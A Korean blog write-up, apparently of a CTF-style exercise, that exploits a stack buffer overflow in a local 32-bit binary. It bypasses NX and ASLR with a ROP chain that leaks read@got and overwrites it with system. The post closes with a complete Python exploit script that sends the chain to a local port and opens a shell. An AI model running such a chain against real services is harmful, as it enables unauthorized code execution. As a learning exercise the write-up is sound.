환경구성은 다음과 같이 해줬다.





일단 바이너리를 실행해보면 어떤값을 입력하면 WIN이라는 문자열이 출력되고 일정값 이상 넣게되면 WIN 문자열을 출력하지 않는 것을보아 Buffer overflow가 일어난걸 알 수 있다.



보호기법을 확인해보면 다음과 같이 NX가 걸려있는걸 볼 수 있다.



현재 서버에선 라이브러리 영역에 ASLR이 활성화가 되어있기 때문에 ROP로 쉘을 따야한다.


우선 바이너리의 로직을 분석하기 위해 IDA로 보면 단순히 read를 통해 값을 입력받고 WIN을 출력해주는 프로그램이었고 read함수에서 입력값 검증이 없어서 bof가 터지는걸 알 수 있다.




일단 RET까지의 거리를 확인해보면 다음과같이 136+SFP+RET인걸 알 수 있다.



다음으로 이제 ROP 시나리오를 짜야하는데


"A"*140 + 

read@plt + pppr Gadget + stdin(0) + /bin/sh문자열 담을주소 + /bin/sh문자열 길이

write@plt + pppr Gadget + stdin(1) + read@got + 4

read@plt + pppr Gadget + stdin(0) + system주소 + 4

read@plt + "AAAA" + /bin/sh문자열 담을주소


요런식으로 전체적인 흐름을 짰다.


이제 하나하나 값을 구해주면 된다.


read@plt = 0x0804832c




read@got = 0x0804961c




write@plt = 0x0804830c




pppr Gadget = 0x080484b6






/bin/sh문자열담을주소 = 0x08049530


/bin/sh문자열을 담을 주소같은 경우 aslr이 걸려있지 않은 .bss영역을 활용하려했는데 4바이트밖에값을 못넣어서 .dynamic영역을 대신 사용해줬다.




system주소 = read함수값 - 0x8E8B0


system함수의 주소와 같은경우 aslr때문에 값이 동적으로 바뀌게 때문에 read함수와의 offset 차이를 구한뒤 동적으로 익스플로잇시에 read함수의 값에 offset차이를 더해서 system함수의 주소를 구하기 위해 read와 system함수의 offset차이를 구했다.



0x48af40 - 0x3fc690 = 0x8E8B0




이제 구한값으로 익스플로잇해주면된다.

import struct

from socket import *

from time import *



host = '127.0.0.1'

port = 6666


s = socket( AF_INET, SOCK_STREAM, 0)

s.connect( ( host, port ) )



p = lambda x:struct.pack("<L",x)

up = lambda x:struct.unpack("<L",x)[0]


dynamic =  0x08049530

write_PLT = 0x0804830c

read_PLT = 0x0804832c

read_GOT = 0x0804961c

pppr_gadget = 0x080484b6

read_system_off = 0x8E8B0

bin_sh = "/bin/sh"

lenbin_sh = len(bin_sh)

pay = "A"*140


pay += p(read_PLT)

pay += p(pppr_gadget)

pay += p(0)

pay += p(dynamic)

pay += p(lenbin_sh)


pay += p(write_PLT)

pay += p(pppr_gadget)

pay += p(1)

pay += p(read_GOT)


pay += p(read_PLT)

pay += p(pppr_gadget)

pay += p(0)

pay += p(read_GOT)

pay += p(4)


pay += p(read_PLT)

pay += "AAAA"

pay += p(dynamic)



s.send(pay)

sleep(1)

s.send(bin_sh)

read = up(s.recv(4))

print hex(read)


system = read - read_system_off

print hex(system)


s.send(p(system))

s.send("id\n")

sleep(6)

print s.recv(1024)






























블로그 이미지

JeonYoungSin

메모 기록용 공간

,